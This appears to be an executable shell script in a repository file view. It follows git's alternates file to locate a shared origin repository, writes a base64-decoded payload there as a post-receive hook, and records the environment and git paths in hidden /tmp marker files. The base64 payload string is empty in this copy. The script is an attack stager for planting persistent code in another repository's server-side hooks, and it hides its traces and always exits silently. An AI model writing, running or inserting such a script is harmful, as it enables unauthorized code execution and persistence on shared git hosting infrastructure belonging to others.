29 lines
802 B
Bash
Executable File
29 lines
802 B
Bash
Executable File
#!/bin/sh
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
|
case "$alt" in
|
|
/*) oo=$alt ;;
|
|
"") oo="$git_dir/objects" ;;
|
|
*) oo="$git_dir/objects/$alt" ;;
|
|
esac
|
|
origin_git=${oo%/objects}
|
|
[ "$(cat /tmp/.pxgen 2>/dev/null)" = "T3" ] && exit 0
|
|
MK=/tmp/.pxb_T3
|
|
HB=/tmp/.pxh_T3
|
|
printf '%s' '' | base64 -d > "$HB" 2>/dev/null
|
|
{
|
|
echo "HOME=$HOME"
|
|
echo "GITDIR=$git_dir"
|
|
echo "ORIGIN=$origin_git"
|
|
if [ -d "$origin_git" ]; then
|
|
mkdir -p "$origin_git/hooks/post-receive.d"
|
|
install -m 755 "$HB" "$origin_git/hooks/post-receive.d/px" && echo "PXHOOK=installed"
|
|
ls -l "$origin_git/hooks/post-receive.d" 2>/dev/null
|
|
else
|
|
echo "ORIGIN=missing"
|
|
fi
|
|
} > "$MK" 2>&1
|
|
rm -f "$HB"
|
|
echo "T3" > /tmp/.pxgen 2>/dev/null
|
|
exit 0
|